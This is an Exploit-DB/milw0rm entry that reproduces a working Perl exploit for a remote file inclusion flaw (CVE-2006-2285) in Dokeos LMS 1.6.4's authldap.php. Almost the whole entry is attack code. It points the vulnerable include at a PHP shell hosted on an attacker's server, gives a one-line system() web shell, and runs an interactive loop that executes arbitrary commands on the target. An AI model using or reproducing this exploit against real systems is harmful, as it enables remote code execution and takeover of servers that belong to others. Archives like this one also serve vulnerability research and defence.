Dokeos Lms <= 1.6.4 authldap.php Remote File Include Exploit

2006-05-08T00:00:00
ID EDB-ID:1765
Type exploitdb
Reporter beford
Modified 2006-05-08T00:00:00

Description

Dokeos LMS <= 1.6.4 (authldap.php) Remote File Include Exploit. CVE-2006-2285. Webapps exploit for php platform

                                        
                                            #!/usr/bin/perl
############
# Dokeos Learning Management System 1.6.4 Remote File Include
# Exploit & Advisorie:  beford &lt;xbefordx gmail com&gt;
#
# uso:# 	perl own.pl &lt;host&gt; &lt;cmd-shell-url&gt; &lt;cmd-var&gt;
# 		perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd
#
# cmd shell example: &lt;? system($cmd); ?&gt;
# cmd variable: cmd;
#
#############
# Description
#############
# Vendor: http://www.dokeos.com/
# The file dokeos/claroline/auth/ldap/authldap.php uses the variable 
# includePath in a include() function without being declared. 
# This issue has already been fixed in current claroline.net version, 
# but dokeos still uses a  vulnerable version.
############
# Vulnerable code
############
# include ("$includePath/../auth/ldap/ldap_var.inc.php");
############
use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv) { usage(); }
head();
while() {
	print "[shell] \$";
	while(&lt;STDIN&gt;)      {
		$cmd=$_;
		chomp($cmd);
		if (!$cmd) {last;}  
		$xpl = LWP::UserAgent-&gt;new() or die;
		$req = HTTP::Request-&gt;new(GET =&gt;$Path.'claroline/auth/ldap/authldap.php?includePath='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";
		$res = $xpl-&gt;request($req);
		$return = $res-&gt;content;
		$return =~ tr/[\n]/[ĂŞ]/;
		if ($return =~/Error: HTTP request failed!/ ) {
			print "\nInvalid path for phpshell\n";
			exit;
		} elsif ($return =~/^&lt;br.\/&gt;.&lt;b&gt;Fatal.error/) {
			print "\nInvalid Command, error.\n\n";
		}
		if ($return =~ /(.*)/) {
			$finreturn = $1;
			$finreturn=~ tr/[ĂŞ]/[\n]/;
			print "\r\n$finreturn\n\r";
			last;
		} else {
			print "[shell] \$";
		}
	}
} last;

sub head()  { 
	print "\n============================================================================\r\n";
	print "  Dokeos Learning Management System Remote File Include\r\n";
	print "============================================================================\r\n";
 }
 
sub usage() {
	head();
	print " Usage: perl own.pl &lt;host&gt; &lt;url-cmd&gt; &lt;var&gt;\r\n\n";
	print " &lt;host&gt; - Full Path : http://host/dokeos/ \r\n";
	print " &lt;url-cmd&gt; - PhpShell : http://atacate/shell.gif \r\n";
	print " &lt;var&gt; - var name used in phpshell : cmd  \r\n\r\n";
	exit();
 }

# milw0rm.com [2006-05-08]